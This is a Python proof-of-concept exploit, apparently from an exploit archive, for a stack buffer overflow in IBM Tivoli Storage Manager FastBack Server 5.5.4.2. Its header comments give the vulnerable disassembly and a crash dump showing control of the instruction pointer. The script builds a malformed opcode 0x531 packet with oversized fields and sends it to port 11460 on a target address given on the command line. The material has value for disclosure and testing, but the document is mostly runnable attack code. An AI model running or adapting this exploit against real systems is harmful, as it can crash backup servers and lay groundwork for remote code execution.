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#!/usr/bin/python
#
################################################################################
#
# Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
# _FXCLI_GetConfFileChunk Stack Buffer Overflow Vulnerability
# Date: 14 December 2015
# Author: Gianni Gnesa (gnix)
#
# Vendor Homepage: http://www.ibm.com/
# Software Name: IBM Tivoli Storage Manager FastBack
# Software Version: 5.5.4.2 (x86)
# Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
# - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy"
# (Version 5.5.4.2, Size: 120.7 MB)
#
# Tested on: Windows 7 Professional (x86)
#
################################################################################
#
# Vulnerability:
# ==============
#
# The vulnerability is a stack buffer overflow in the _FXCLI_GetConfFileChunk
# function caused by the insecure usage of _sscanf while parsing user-controlled
# input.
#
# .text:0057898E lea eax, [ebp+var_210]
# .text:00578994 push eax
# .text:00578995 lea ecx, [ebp+var_108]
# .text:0057899B push ecx
# .text:0057899C lea edx, [ebp+var_20C]
# .text:005789A2 push edx
# .text:005789A3 lea eax, [ebp+var_4]
# .text:005789A6 push eax
# .text:005789A7 lea ecx, [ebp+var_104] <=== Buffer that will be overwritten
# .text:005789AD push ecx
# .text:005789AE push offset $SG128635 ; "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"
# .text:005789B3 mov edx, [ebp+Src]
# .text:005789B6 push edx ; Src <=== Buffer under our control
# .text:005789B7 call _sscanf <=== Stack Buffer Overflow!!!
#
################################################################################
#
# Crash:
# ======
#
# (b44.9dc): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=01cd4fb8 ecx=01dacf8c edx=776870b4 esi=01cd4fb8 edi=00000000
# eip=41414141 esp=01dae328 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# 41414141 ?? ???
#
################################################################################
import sys
import time
import socket
from struct import pack
def create_pkt(opcode, p1="", p2="", p3=""):
# psAgentCommand (0x30 bytes)
buf = "\x44" * 0xC
buf+= pack("<L", opcode) # opcode
buf+= pack("<i", 0x0) # 1st memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p1)) # 1st memcpy: size field
buf+= pack("<i", len(p1)) # 2nd memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p2)) # 2nd memcpy: size field
buf+= pack("<i", len(p1) + len(p2)) # 3rd memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p3)) # 3rd memcpy: size field
buf+= "\x44\x44\x44\x44"
buf+= "\x44\x44\x44\x44"
# psCommandBuffer
buf+= p1
buf+= p2
buf+= p3
# buf len - 4 because the packet length is not included
buf = pack(">i", len(buf)-4) + buf
return buf
def main():
if len(sys.argv) != 2:
print "Usage: %s <ip_address>\n" % sys.argv[0]
sys.exit(1)
server = sys.argv[1]
port = 11460
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
pkt = create_pkt( opcode=0x531,
p1 = "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % ("A"*10000,0,0,0,0),
p2 = "B" * 24000,
p3 = "C" * 24000 )
s.send(pkt)
s.close()
print "[+] Packet sent."
sys.exit(0)
if __name__ == "__main__":
main()
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